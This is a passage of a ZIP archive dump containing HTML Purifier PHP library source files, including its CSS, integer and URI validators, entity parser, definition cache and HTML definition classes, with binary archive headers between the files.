* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
return $this->parseCDATA($string);
}
}
// vim: et sw=4 sts=4
PK j�$Z��)� � 1 htmlpurifier/library/HTMLPurifier/AttrDef/CSS.phpnu �[��� <?php
/**
* Validates the HTML attribute style, otherwise known as CSS.
* @note We don't implement the whole CSS specification, so it might be
* difficult to reuse this component in the context of validating
* actual stylesheet declarations.
* @note If we were really serious about validating the CSS, we would
* tokenize the styles and then parse the tokens. Obviously, we
* are not doing that. Doing that could seriously harm performance,
* but would make these components a lot more viable for a CSS
* filtering solution.
*/
class HTMLPurifier_AttrDef_CSS extends HTMLPurifier_AttrDef
{
/**
* @param string $css
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($css, $config, $context)
{
$css = $this->parseCDATA($css);
$definition = $config->getCSSDefinition();
$allow_duplicates = $config->get("CSS.AllowDuplicates");
// According to the CSS2.1 spec, the places where a
// non-delimiting semicolon can appear are in strings
// escape sequences. So here is some dumb hack to
// handle quotes.
$len = strlen($css);
$accum = "";
$declarations = array();
$quoted = false;
for ($i = 0; $i < $len; $i++) {
$c = strcspn($css, ";'\"", $i);
$accum .= substr($css, $i, $c);
$i += $c;
if ($i == $len) break;
$d = $css[$i];
if ($quoted) {
$accum .= $d;
if ($d == $quoted) {
$quoted = false;
}
} else {
if ($d == ";") {
$declarations[] = $accum;
$accum = "";
} else {
$accum .= $d;
$quoted = $d;
}
}
}
if ($accum != "") $declarations[] = $accum;
$propvalues = array();
$new_declarations = '';
/**
* Name of the current CSS property being validated.
*/
$property = false;
$context->register('CurrentCSSProperty', $property);
foreach ($declarations as $declaration) {
if (!$declaration) {
continue;
}
if (!strpos($declaration, ':')) {
continue;
}
list($property, $value) = explode(':', $declaration, 2);
$property = trim($property);
$value = trim($value);
$ok = false;
do {
if (isset($definition->info[$property])) {
$ok = true;
break;
}
if (ctype_lower($property)) {
break;
}
$property = strtolower($property);
if (isset($definition->info[$property])) {
$ok = true;
break;
}
} while (0);
if (!$ok) {
continue;
}
// inefficient call, since the validator will do this again
if (strtolower(trim($value)) !== 'inherit') {
// inherit works for everything (but only on the base property)
$result = $definition->info[$property]->validate(
$value,
$config,
$context
);
} else {
$result = 'inherit';
}
if ($result === false) {
continue;
}
if ($allow_duplicates) {
$new_declarations .= "$property:$result;";
} else {
$propvalues[$property] = $result;
}
}
$context->destroy('CurrentCSSProperty');
// procedure does not write the new CSS simultaneously, so it's
// slightly inefficient, but it's the only way of getting rid of
// duplicates. Perhaps config to optimize it, but not now.
foreach ($propvalues as $prop => $value) {
$new_declarations .= "$prop:$value;";
}
return $new_declarations ? $new_declarations : false;
}
}
// vim: et sw=4 sts=4
PK j�$Zy�-A� � 5 htmlpurifier/library/HTMLPurifier/AttrDef/Integer.phpnu �[��� <?php
/**
* Validates an integer.
* @note While this class was modeled off the CSS definition, no currently
* allowed CSS uses this type. The properties that do are: widows,
* orphans, z-index, counter-increment, counter-reset. Some of the
* HTML attributes, however, find use for a non-negative version of this.
*/
class HTMLPurifier_AttrDef_Integer extends HTMLPurifier_AttrDef
{
/**
* Whether or not negative values are allowed.
* @type bool
*/
protected $negative = true;
/**
* Whether or not zero is allowed.
* @type bool
*/
protected $zero = true;
/**
* Whether or not positive values are allowed.
* @type bool
*/
protected $positive = true;
/**
* @param $negative Bool indicating whether or not negative values are allowed
* @param $zero Bool indicating whether or not zero is allowed
* @param $positive Bool indicating whether or not positive values are allowed
*/
public function __construct($negative = true, $zero = true, $positive = true)
{
$this->negative = $negative;
$this->zero = $zero;
$this->positive = $positive;
}
/**
* @param string $integer
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($integer, $config, $context)
{
$integer = $this->parseCDATA($integer);
if ($integer === '') {
return false;
}
// we could possibly simply typecast it to integer, but there are
// certain fringe cases that must not return an integer.
// clip leading sign
if ($this->negative && $integer[0] === '-') {
$digits = substr($integer, 1);
if ($digits === '0') {
$integer = '0';
} // rm minus sign for zero
} elseif ($this->positive && $integer[0] === '+') {
$digits = $integer = substr($integer, 1); // rm unnecessary plus
} else {
$digits = $integer;
}
// test if it's numeric
if (!ctype_digit($digits)) {
return false;
}
// perform scope tests
if (!$this->zero && $integer == 0) {
return false;
}
if (!$this->positive && $integer > 0) {
return false;
}
if (!$this->negative && $integer < 0) {
return false;
}
return $integer;
}
}
// vim: et sw=4 sts=4
PK j�$Z��V~ 4 htmlpurifier/library/HTMLPurifier/AttrDef/Switch.phpnu �[��� <?php
/**
* Decorator that, depending on a token, switches between two definitions.
*/
class HTMLPurifier_AttrDef_Switch
{
/**
* @type string
*/
protected $tag;
/**
* @type HTMLPurifier_AttrDef
*/
protected $withTag;
/**
* @type HTMLPurifier_AttrDef
*/
protected $withoutTag;
/**
* @param string $tag Tag name to switch upon
* @param HTMLPurifier_AttrDef $with_tag Call if token matches tag
* @param HTMLPurifier_AttrDef $without_tag Call if token doesn't match, or there is no token
*/
public function __construct($tag, $with_tag, $without_tag)
{
$this->tag = $tag;
$this->withTag = $with_tag;
$this->withoutTag = $without_tag;
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$token = $context->get('CurrentToken', true);
if (!$token || $token->name !== $this->tag) {
return $this->withoutTag->validate($string, $config, $context);
} else {
return $this->withTag->validate($string, $config, $context);
}
}
}
// vim: et sw=4 sts=4
PK j�$ZLm,�d) d) ) htmlpurifier/library/HTMLPurifier/URI.phpnu �[��� <?php
/**
* HTML Purifier's internal representation of a URI.
* @note
* Internal data-structures are completely escaped. If the data needs
* to be used in a non-URI context (which is very unlikely), be sure
* to decode it first. The URI may not necessarily be well-formed until
* validate() is called.
*/
class HTMLPurifier_URI
{
/**
* @type string
*/
public $scheme;
/**
* @type string
*/
public $userinfo;
/**
* @type string
*/
public $host;
/**
* @type int
*/
public $port;
/**
* @type string
*/
public $path;
/**
* @type string
*/
public $query;
/**
* @type string
*/
public $fragment;
/**
* @param string $scheme
* @param string $userinfo
* @param string $host
* @param int $port
* @param string $path
* @param string $query
* @param string $fragment
* @note Automatically normalizes scheme and port
*/
public function __construct($scheme, $userinfo, $host, $port, $path, $query, $fragment)
{
$this->scheme = is_null($scheme) || ctype_lower($scheme) ? $scheme : strtolower($scheme);
$this->userinfo = $userinfo;
$this->host = $host;
$this->port = is_null($port) ? $port : (int)$port;
$this->path = $path;
$this->query = $query;
$this->fragment = $fragment;
}
/**
* Retrieves a scheme object corresponding to the URI's scheme/default
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return HTMLPurifier_URIScheme Scheme object appropriate for validating this URI
*/
public function getSchemeObj($config, $context)
{
$registry = HTMLPurifier_URISchemeRegistry::instance();
if ($this->scheme !== null) {
$scheme_obj = $registry->getScheme($this->scheme, $config, $context);
if (!$scheme_obj) {
return false;
} // invalid scheme, clean it out
} else {
// no scheme: retrieve the default one
$def = $config->getDefinition('URI');
$scheme_obj = $def->getDefaultScheme($config, $context);
if (!$scheme_obj) {
if ($def->defaultScheme !== null) {
// something funky happened to the default scheme object
trigger_error(
'Default scheme object "' . $def->defaultScheme . '" was not readable',
E_USER_WARNING
);
} // suppress error if it's null
return false;
}
}
return $scheme_obj;
}
/**
* Generic validation method applicable for all schemes. May modify
* this URI in order to get it into a compliant form.
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool True if validation/filtering succeeds, false if failure
*/
public function validate($config, $context)
{
// ABNF definitions from RFC 3986
$chars_sub_delims = '!$&\'()*+,;=';
$chars_gen_delims = ':/?#[]@';
$chars_pchar = $chars_sub_delims . ':@';
// validate host
if (!is_null($this->host)) {
$host_def = new HTMLPurifier_AttrDef_URI_Host();
$this->host = $host_def->validate($this->host, $config, $context);
if ($this->host === false) {
$this->host = null;
}
}
// validate scheme
// NOTE: It's not appropriate to check whether or not this
// scheme is in our registry, since a URIFilter may convert a
// URI that we don't allow into one we do. So instead, we just
// check if the scheme can be dropped because there is no host
// and it is our default scheme.
if (!is_null($this->scheme) && is_null($this->host) || $this->host === '') {
// support for relative paths is pretty abysmal when the
// scheme is present, so axe it when possible
$def = $config->getDefinition('URI');
if ($def->defaultScheme === $this->scheme) {
$this->scheme = null;
}
}
// validate username
if (!is_null($this->userinfo)) {
$encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . ':');
$this->userinfo = $encoder->encode($this->userinfo);
}
// validate port
if (!is_null($this->port)) {
if ($this->port < 1 || $this->port > 65535) {
$this->port = null;
}
}
// validate path
$segments_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/');
if (!is_null($this->host)) { // this catches $this->host === ''
// path-abempty (hier and relative)
// http://www.example.com/my/path
// //www.example.com/my/path (looks odd, but works, and
// recognized by most browsers)
// (this set is valid or invalid on a scheme by scheme
// basis, so we'll deal with it later)
// file:///my/path
// ///my/path
$this->path = $segments_encoder->encode($this->path);
} elseif ($this->path !== '') {
if ($this->path[0] === '/') {
// path-absolute (hier and relative)
// http:/my/path
// /my/path
if (strlen($this->path) >= 2 && $this->path[1] === '/') {
// This could happen if both the host gets stripped
// out
// http://my/path
// //my/path
$this->path = '';
} else {
$this->path = $segments_encoder->encode($this->path);
}
} elseif (!is_null($this->scheme)) {
// path-rootless (hier)
// http:my/path
// Short circuit evaluation means we don't need to check nz
$this->path = $segments_encoder->encode($this->path);
} else {
// path-noscheme (relative)
// my/path
// (once again, not checking nz)
$segment_nc_encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . '@');
$c = strpos($this->path, '/');
if ($c !== false) {
$this->path =
$segment_nc_encoder->encode(substr($this->path, 0, $c)) .
$segments_encoder->encode(substr($this->path, $c));
} else {
$this->path = $segment_nc_encoder->encode($this->path);
}
}
} else {
// path-empty (hier and relative)
$this->path = ''; // just to be safe
}
// qf = query and fragment
$qf_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/?');
if (!is_null($this->query)) {
$this->query = $qf_encoder->encode($this->query);
}
if (!is_null($this->fragment)) {
$this->fragment = $qf_encoder->encode($this->fragment);
}
return true;
}
/**
* Convert URI back to string
* @return string URI appropriate for output
*/
public function toString()
{
// reconstruct authority
$authority = null;
// there is a rendering difference between a null authority
// (http:foo-bar) and an empty string authority
// (http:///foo-bar).
if (!is_null($this->host)) {
$authority = '';
if (!is_null($this->userinfo)) {
$authority .= $this->userinfo . '@';
}
$authority .= $this->host;
if (!is_null($this->port)) {
$authority .= ':' . $this->port;
}
}
// Reconstruct the result
// One might wonder about parsing quirks from browsers after
// this reconstruction. Unfortunately, parsing behavior depends
// on what *scheme* was employed (file:///foo is handled *very*
// differently than http:///foo), so unfortunately we have to
// defer to the schemes to do the right thing.
$result = '';
if (!is_null($this->scheme)) {
$result .= $this->scheme . ':';
}
if (!is_null($authority)) {
$result .= '//' . $authority;
}
$result .= $this->path;
if (!is_null($this->query)) {
$result .= '?' . $this->query;
}
if (!is_null($this->fragment)) {
$result .= '#' . $this->fragment;
}
return $result;
}
/**
* Returns true if this URL might be considered a 'local' URL given
* the current context. This is true when the host is null, or
* when it matches the host supplied to the configuration.
*
* Note that this does not do any scheme checking, so it is mostly
* only appropriate for metadata that doesn't care about protocol
* security. isBenign is probably what you actually want.
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function isLocal($config, $context)
{
if ($this->host === null) {
return true;
}
$uri_def = $config->getDefinition('URI');
if ($uri_def->host === $this->host) {
return true;
}
return false;
}
/**
* Returns true if this URL should be considered a 'benign' URL,
* that is:
*
* - It is a local URL (isLocal), and
* - It has a equal or better level of security
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function isBenign($config, $context)
{
if (!$this->isLocal($config, $context)) {
return false;
}
$scheme_obj = $this->getSchemeObj($config, $context);
if (!$scheme_obj) {
return false;
} // conservative approach
$current_scheme_obj = $config->getDefinition('URI')->getDefaultScheme($config, $context);
if ($current_scheme_obj->secure) {
if (!$scheme_obj->secure) {
return false;
}
}
return true;
}
}
// vim: et sw=4 sts=4
PK j�$Z���qI I 5 htmlpurifier/library/HTMLPurifier/DefinitionCache.phpnu �[��� <?php
/**
* Abstract class representing Definition cache managers that implements
* useful common methods and is a factory.
* @todo Create a separate maintenance file advanced users can use to
* cache their custom HTMLDefinition, which can be loaded
* via a configuration directive
* @todo Implement memcached
*/
abstract class HTMLPurifier_DefinitionCache
{
/**
* @type string
*/
public $type;
/**
* @param string $type Type of definition objects this instance of the
* cache will handle.
*/
public function __construct($type)
{
$this->type = $type;
}
/**
* Generates a unique identifier for a particular configuration
* @param HTMLPurifier_Config $config Instance of HTMLPurifier_Config
* @return string
*/
public function generateKey($config)
{
return $config->version . ',' . // possibly replace with function calls
$config->getBatchSerial($this->type) . ',' .
$config->get($this->type . '.DefinitionRev');
}
/**
* Tests whether or not a key is old with respect to the configuration's
* version and revision number.
* @param string $key Key to test
* @param HTMLPurifier_Config $config Instance of HTMLPurifier_Config to test against
* @return bool
*/
public function isOld($key, $config)
{
if (substr_count($key, ',') < 2) {
return true;
}
list($version, $hash, $revision) = explode(',', $key, 3);
$compare = version_compare($version, $config->version);
// version mismatch, is always old
if ($compare != 0) {
return true;
}
// versions match, ids match, check revision number
if ($hash == $config->getBatchSerial($this->type) &&
$revision < $config->get($this->type . '.DefinitionRev')) {
return true;
}
return false;
}
/**
* Checks if a definition's type jives with the cache's type
* @note Throws an error on failure
* @param HTMLPurifier_Definition $def Definition object to check
* @return bool true if good, false if not
*/
public function checkDefType($def)
{
if ($def->type !== $this->type) {
trigger_error("Cannot use definition of type {$def->type} in cache for {$this->type}");
return false;
}
return true;
}
/**
* Adds a definition object to the cache
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
*/
abstract public function add($def, $config);
/**
* Unconditionally saves a definition object to the cache
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
*/
abstract public function set($def, $config);
/**
* Replace an object in the cache
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
*/
abstract public function replace($def, $config);
/**
* Retrieves a definition object from the cache
* @param HTMLPurifier_Config $config
*/
abstract public function get($config);
/**
* Removes a definition object to the cache
* @param HTMLPurifier_Config $config
*/
abstract public function remove($config);
/**
* Clears all objects from cache
* @param HTMLPurifier_Config $config
*/
abstract public function flush($config);
/**
* Clears all expired (older version or revision) objects from cache
* @note Be careful implementing this method as flush. Flush must
* not interfere with other Definition types, and cleanup()
* should not be repeatedly called by userland code.
* @param HTMLPurifier_Config $config
*/
abstract public function cleanup($config);
}
// vim: et sw=4 sts=4
PK j�$Zv5��& �& 2 htmlpurifier/library/HTMLPurifier/EntityParser.phpnu �[��� <?php
// if want to implement error collecting here, we'll need to use some sort
// of global data (probably trigger_error) because it's impossible to pass
// $config or $context to the callback functions.
/**
* Handles referencing and derefencing character entities
*/
class HTMLPurifier_EntityParser
{
/**
* Reference to entity lookup table.
* @type HTMLPurifier_EntityLookup
*/
protected $_entity_lookup;
/**
* Callback regex string for entities in text.
* @type string
*/
protected $_textEntitiesRegex;
/**
* Callback regex string for entities in attributes.
* @type string
*/
protected $_attrEntitiesRegex;
/**
* Tests if the beginning of a string is a semi-optional regex
*/
protected $_semiOptionalPrefixRegex;
public function __construct() {
// From
// http://stackoverflow.com/questions/15532252/why-is-reg-being-rendered-as-without-the-bounding-semicolon
$semi_optional = "quot|QUOT|lt|LT|gt|GT|amp|AMP|AElig|Aacute|Acirc|Agrave|Aring|Atilde|Auml|COPY|Ccedil|ETH|Eacute|Ecirc|Egrave|Euml|Iacute|Icirc|Igrave|Iuml|Ntilde|Oacute|Ocirc|Ograve|Oslash|Otilde|Ouml|REG|THORN|Uacute|Ucirc|Ugrave|Uuml|Yacute|aacute|acirc|acute|aelig|agrave|aring|atilde|auml|brvbar|ccedil|cedil|cent|copy|curren|deg|divide|eacute|ecirc|egrave|eth|euml|frac12|frac14|frac34|iacute|icirc|iexcl|igrave|iquest|iuml|laquo|macr|micro|middot|nbsp|not|ntilde|oacute|ocirc|ograve|ordf|ordm|oslash|otilde|ouml|para|plusmn|pound|raquo|reg|sect|shy|sup1|sup2|sup3|szlig|thorn|times|uacute|ucirc|ugrave|uml|uuml|yacute|yen|yuml";
// NB: three empty captures to put the fourth match in the right
// place
$this->_semiOptionalPrefixRegex = "/&()()()($semi_optional)/";
$this->_textEntitiesRegex =
'/&(?:'.
// hex
'[#]x([a-fA-F0-9]+);?|'.
// dec
'[#]0*(\d+);?|'.
// string (mandatory semicolon)
// NB: order matters: match semicolon preferentially
'([A-Za-z_:][A-Za-z0-9.\-_:]*);|'.
// string (optional semicolon)
"($semi_optional)".
')/';
$this->_attrEntitiesRegex =
'/&(?:'.
// hex
'[#]x([a-fA-F0-9]+);?|'.
// dec
'[#]0*(\d+);?|'.
// string (mandatory semicolon)
// NB: order matters: match semicolon preferentially
'([A-Za-z_:][A-Za-z0-9.\-_:]*);|'.
// string (optional semicolon)
// don't match if trailing is equals or alphanumeric (URL
// like)
"($semi_optional)(?![=;A-Za-z0-9])".
')/';
}
/**
* Substitute entities with the parsed equivalents. Use this on
* textual data in an HTML document (as opposed to attributes.)
*
* @param string $string String to have entities parsed.
* @return string Parsed string.
*/
public function substituteTextEntities($string)
{
return preg_replace_callback(
$this->_textEntitiesRegex,
array($this, 'entityCallback'),
$string
);
}
/**
* Substitute entities with the parsed equivalents. Use this on
* attribute contents in documents.
*
* @param string $string String to have entities parsed.
* @return string Parsed string.
*/
public function substituteAttrEntities($string)
{
return preg_replace_callback(
$this->_attrEntitiesRegex,
array($this, 'entityCallback'),
$string
);
}
/**
* Callback function for substituteNonSpecialEntities() that does the work.
*
* @param array $matches PCRE matches array, with 0 the entire match, and
* either index 1, 2 or 3 set with a hex value, dec value,
* or string (respectively).
* @return string Replacement string.
*/
protected function entityCallback($matches)
{
$entity = $matches[0];
$hex_part = @$matches[1];
$dec_part = @$matches[2];
$named_part = empty($matches[3]) ? (empty($matches[4]) ? "" : $matches[4]) : $matches[3];
if ($hex_part !== NULL && $hex_part !== "") {
return HTMLPurifier_Encoder::unichr(hexdec($hex_part));
} elseif ($dec_part !== NULL && $dec_part !== "") {
return HTMLPurifier_Encoder::unichr((int) $dec_part);
} else {
if (!$this->_entity_lookup) {
$this->_entity_lookup = HTMLPurifier_EntityLookup::instance();
}
if (isset($this->_entity_lookup->table[$named_part])) {
return $this->_entity_lookup->table[$named_part];
} else {
// exact match didn't match anything, so test if
// any of the semicolon optional match the prefix.
// Test that this is an EXACT match is important to
// prevent infinite loop
if (!empty($matches[3])) {
return preg_replace_callback(
$this->_semiOptionalPrefixRegex,
array($this, 'entityCallback'),
$entity
);
}
return $entity;
}
}
}
// LEGACY CODE BELOW
/**
* Callback regex string for parsing entities.
* @type string
*/
protected $_substituteEntitiesRegex =
'/&(?:[#]x([a-fA-F0-9]+)|[#]0*(\d+)|([A-Za-z_:][A-Za-z0-9.\-_:]*));?/';
// 1. hex 2. dec 3. string (XML style)
/**
* Decimal to parsed string conversion table for special entities.
* @type array
*/
protected $_special_dec2str =
array(
34 => '"',
38 => '&',
39 => "'",
60 => '<',
62 => '>'
);
/**
* Stripped entity names to decimal conversion table for special entities.
* @type array
*/
protected $_special_ent2dec =
array(
'quot' => 34,
'amp' => 38,
'lt' => 60,
'gt' => 62
);
/**
* Substitutes non-special entities with their parsed equivalents. Since
* running this whenever you have parsed character is t3h 5uck, we run
* it before everything else.
*
* @param string $string String to have non-special entities parsed.
* @return string Parsed string.
*/
public function substituteNonSpecialEntities($string)
{
// it will try to detect missing semicolons, but don't rely on it
return preg_replace_callback(
$this->_substituteEntitiesRegex,
array($this, 'nonSpecialEntityCallback'),
$string
);
}
/**
* Callback function for substituteNonSpecialEntities() that does the work.
*
* @param array $matches PCRE matches array, with 0 the entire match, and
* either index 1, 2 or 3 set with a hex value, dec value,
* or string (respectively).
* @return string Replacement string.
*/
protected function nonSpecialEntityCallback($matches)
{
// replaces all but big five
$entity = $matches[0];
$is_num = (@$matches[0][1] === '#');
if ($is_num) {
$is_hex = (@$entity[2] === 'x');
$code = $is_hex ? hexdec($matches[1]) : (int) $matches[2];
// abort for special characters
if (isset($this->_special_dec2str[$code])) {
return $entity;
}
return HTMLPurifier_Encoder::unichr($code);
} else {
if (isset($this->_special_ent2dec[$matches[3]])) {
return $entity;
}
if (!$this->_entity_lookup) {
$this->_entity_lookup = HTMLPurifier_EntityLookup::instance();
}
if (isset($this->_entity_lookup->table[$matches[3]])) {
return $this->_entity_lookup->table[$matches[3]];
} else {
return $entity;
}
}
}
/**
* Substitutes only special entities with their parsed equivalents.
*
* @notice We try to avoid calling this function because otherwise, it
* would have to be called a lot (for every parsed section).
*
* @param string $string String to have non-special entities parsed.
* @return string Parsed string.
*/
public function substituteSpecialEntities($string)
{
return preg_replace_callback(
$this->_substituteEntitiesRegex,
array($this, 'specialEntityCallback'),
$string
);
}
/**
* Callback function for substituteSpecialEntities() that does the work.
*
* This callback has same syntax as nonSpecialEntityCallback().
*
* @param array $matches PCRE-style matches array, with 0 the entire match, and
* either index 1, 2 or 3 set with a hex value, dec value,
* or string (respectively).
* @return string Replacement string.
*/
protected function specialEntityCallback($matches)
{
$entity = $matches[0];
$is_num = (@$matches[0][1] === '#');
if ($is_num) {
$is_hex = (@$entity[2] === 'x');
$int = $is_hex ? hexdec($matches[1]) : (int) $matches[2];
return isset($this->_special_dec2str[$int]) ?
$this->_special_dec2str[$int] :
$entity;
} else {
return isset($this->_special_ent2dec[$matches[3]]) ?
$this->_special_dec2str[$this->_special_ent2dec[$matches[3]]] :
$entity;
}
}
}
// vim: et sw=4 sts=4
PK j�$Zk��[. . - htmlpurifier/library/HTMLPurifier/Doctype.phpnu �[��� <?php
/**
* Represents a document type, contains information on which modules
* need to be loaded.
* @note This class is inspected by Printer_HTMLDefinition->renderDoctype.
* If structure changes, please update that function.
*/
class HTMLPurifier_Doctype
{
/**
* Full name of doctype
* @type string
*/
public $name;
/**
* List of standard modules (string identifiers or literal objects)
* that this doctype uses
* @type array
*/
public $modules = array();
/**
* List of modules to use for tidying up code
* @type array
*/
public $tidyModules = array();
/**
* Is the language derived from XML (i.e. XHTML)?
* @type bool
*/
public $xml = true;
/**
* List of aliases for this doctype
* @type array
*/
public $aliases = array();
/**
* Public DTD identifier
* @type string
*/
public $dtdPublic;
/**
* System DTD identifier
* @type string
*/
public $dtdSystem;
public function __construct(
$name = null,
$xml = true,
$modules = array(),
$tidyModules = array(),
$aliases = array(),
$dtd_public = null,
$dtd_system = null
) {
$this->name = $name;
$this->xml = $xml;
$this->modules = $modules;
$this->tidyModules = $tidyModules;
$this->aliases = $aliases;
$this->dtdPublic = $dtd_public;
$this->dtdSystem = $dtd_system;
}
}
// vim: et sw=4 sts=4
PK j�$Z��exSE SE 4 htmlpurifier/library/HTMLPurifier/HTMLDefinition.phpnu �[��� <?php
/**
* Definition of the purified HTML that describes allowed children,
* attributes, and many other things.
*
* Conventions:
*
* All member variables that are prefixed with info
* (including the main $info array) are used by HTML Purifier internals
* and should not be directly edited when customizing the HTMLDefinition.
* They can usually be set via configuration directives or custom
* modules.
*
* On the other hand, member variables without the info prefix are used
* internally by the HTMLDefinition and MUST NOT be used by other HTML
* Purifier internals. Many of them, however, are public, and may be
* edited by userspace code to tweak the behavior of HTMLDefinition.
*
* @note This class is inspected by Printer_HTMLDefinition; please
* update that class if things here change.
*
* @warning Directives that change this object's structure must be in
* the HTML or Attr namespace!
*/
class HTMLPurifier_HTMLDefinition extends HTMLPurifier_Definition
{
// FULLY-PUBLIC VARIABLES ---------------------------------------------
/**
* Associative array of element names to HTMLPurifier_ElementDef.
* @type HTMLPurifier_ElementDef[]
*/
public $info = array();
/**
* Associative array of global attribute name to attribute definition.
* @type array
*/
public $info_global_attr = array();
/**
* String name of parent element HTML will be going into.
* @type string
*/
public $info_parent = 'div';
/**
* Definition for parent element, allows parent element to be a
* tag that's not allowed inside the HTML fragment.
* @type HTMLPurifier_ElementDef
*/
public $info_parent_def;
/**
* String name of element used to wrap inline elements in block context.
* @type string
* @note This is rarely used except for BLOCKQUOTEs in strict mode
*/
public $info_block_wrapper = 'p';
/**
* Associative array of deprecated tag name to HTMLPurifier_TagTransform.
* @type array
*/
public $info_tag_transform = array();
/**
* Indexed list of HTMLPurifier_AttrTransform to be performed before validation.
* @type HTMLPurifier_AttrTransform[]
*/
public $info_attr_transform_pre = array();
/**
* Indexed list of HTMLPurifier_AttrTransform to be performed after validation.
* @type HTMLPurifier_AttrTransform[]
*/
public $info_attr_transform_post = array();
/**
* Nested lookup array of content set name (Block, Inline) to
* element name to whether or not it belongs in that content set.
* @type array
*/
public $info_content_sets = array();
/**
* Indexed list of HTMLPurifier_Injector to be used.
* @type HTMLPurifier_Injector[]
*/
public $info_injector = array();
/**
* Doctype object
* @type HTMLPurifier_Doctype
*/
public $doctype;
// RAW CUSTOMIZATION STUFF --------------------------------------------
/**
* Adds a custom attribute to a pre-existing element
* @note This is strictly convenience, and does not have a corresponding
* method in HTMLPurifier_HTMLModule
* @param string $element_name Element name to add attribute to
* @param string $attr_name Name of attribute
* @param mixed $def Attribute definition, can be string or object, see
* HTMLPurifier_AttrTypes for details
*/
public function addAttribute($element_name, $attr_name, $def)
{
$module = $this->getAnonymousModule();
if (!isset($module->info[$element_name])) {
$element = $module->addBlankElement($element_name);
} else {
$element = $module->info[$element_name];
}
$element->attr[$attr_name] = $def;
}
/**
* Adds a custom element to your HTML definition
* @see HTMLPurifier_HTMLModule::addElement() for detailed
* parameter and return value descriptions.
*/
public function addElement($element_name, $type, $contents, $attr_collections, $attributes = array())
{
$module = $this->getAnonymousModule();
// assume that if the user is calling this, the element
// is safe. This may not be a good idea
$element = $module->addElement($element_name, $type, $contents, $attr_collections, $attributes);
return $element;
}
/**
* Adds a blank element to your HTML definition, for overriding
* existing behavior
* @param string $element_name
* @return HTMLPurifier_ElementDef
* @see HTMLPurifier_HTMLModule::addBlankElement() for detailed
* parameter and return value descriptions.
*/
public function addBlankElement($element_name)
{
$module = $this->getAnonymousModule();
$element = $module->addBlankElement($element_name);
return $element;
}
/**
* Retrieves a reference to the anonymous module, so you can
* bust out advanced features without having to make your own
* module.
* @return HTMLPurifier_HTMLModule
*/
public function getAnonymousModule()
{
if (!$this->_anonModule) {
$this->_anonModule = new HTMLPurifier_HTMLModule();
$this->_anonModule->name = 'Anonymous';
}
return $this->_anonModule;
}
private $_anonModule = null;
// PUBLIC BUT INTERNAL VARIABLES --------------------------------------
/**
* @type string
*/
public $type = 'HTML';
/**
* @type HTMLPurifier_HTMLModuleManager
*/
public $manager;
/**
* Performs low-cost, preliminary initialization.
*/
public function __construct()
{
$this->manager = new HTMLPurifier_HTMLModuleManager();
}
/**
* @param HTMLPurifier_Config $config
*/
protected function doSetup($config)
{
$this->processModules($config);
$this->setupConfigStuff($config);
unset($this->manager);
// cleanup some of the element definitions
foreach ($this->info as $k => $v) {
unset($this->info[$k]->content_model);
unset($this->info[$k]->content_model_type);
}
}
/**
* Extract out the information from the manager
* @param HTMLPurifier_Config $config
*/
protected function processModules($config)
{
if ($this->_anonModule) {
// for user specific changes
// this is late-loaded so we don't have to deal with PHP4
// reference wonky-ness
$this->manager->addModule($this->_anonModule);
unset($this->_anonModule);
}
$this->manager->setup($config);
$this->doctype = $this->manager->doctype;
foreach ($this->manager->modules as $module) {
foreach ($module->info_tag_transform as $k => $v) {
if ($v === false) {
unset($this->info_tag_transform[$k]);
} else {
$this->info_tag_transform[$k] = $v;
}
}
foreach ($module->info_attr_transform_pre as $k => $v) {
if ($v === false) {
unset($this->info_attr_transform_pre[$k]);
} else {
$this->info_attr_transform_pre[$k] = $v;
}
}
foreach ($module->info_attr_transform_post as $k => $v) {
if ($v === false) {
unset($this->info_attr_transform_post[$k]);
} else {
$this->info_attr_transform_post[$k] = $v;
}
}
foreach ($module->info_injector as $k => $v) {
if ($v === false) {
unset($this->info_injector[$k]);
} else {
$this->info_injector[$k] = $v;
}
}
}
$this->info = $this->manager->getElements();
$this->info_content_sets = $this->manager->contentSets->lookup;
}
/**
* Sets up stuff based on config. We need a better way of doing this.
* @param HTMLPurifier_Config $config
*/
protected function setupConfigStuff($config)
{
$block_wrapper = $config->get('HTML.BlockWrapper');
if (isset($this->info_content_sets['Block'][$block_wrapper])) {
$this->info_block_wrapper = $block_wrapper;
} else {
trigger_error(
'Cannot use non-block element as block wrapper',
E_USER_ERROR
);
}
$parent = $config->get('HTML.Parent');
$def = $this->manager->getElement($parent, true);
if ($def) {
$this->info_parent = $parent;
$this->info_parent_def = $def;
} else {
trigger_error(
'Cannot use unrecognized element as parent',
E_USER_ERROR
);
$this->info_parent_def = $this->manager->getElement($this->info_parent, true);
}
// support template text
$support = "(for information on implementing this, see the support forums) ";
// setup allowed elements -----------------------------------------
$allowed_elements = $config->get('HTML.AllowedElements');
$allowed_attributes = $config->get('HTML.AllowedAttributes'); // retrieve early
if (!is_array($allowed_elements) && !is_array($allowed_attributes)) {
$allowed = $config->get('HTML.Allowed');
if (is_string($allowed)) {
list($allowed_elements, $allowed_attributes) = $this->parseTinyMCEAllowedList($allowed);
}
}
if (is_array($allowed_elements)) {
foreach ($this->info as $name => $d) {
if (!isset($allowed_elements[$name])) {
unset($this->info[$name]);
}
unset($allowed_elements[$name]);
}
// emit errors
foreach ($allowed_elements as $element => $d) {
$element = htmlspecialchars($element); // PHP doesn't escape errors, be careful!
trigger_error("Element '$element' is not supported $support", E_USER_WARNING);
}
}
// setup allowed attributes ---------------------------------------
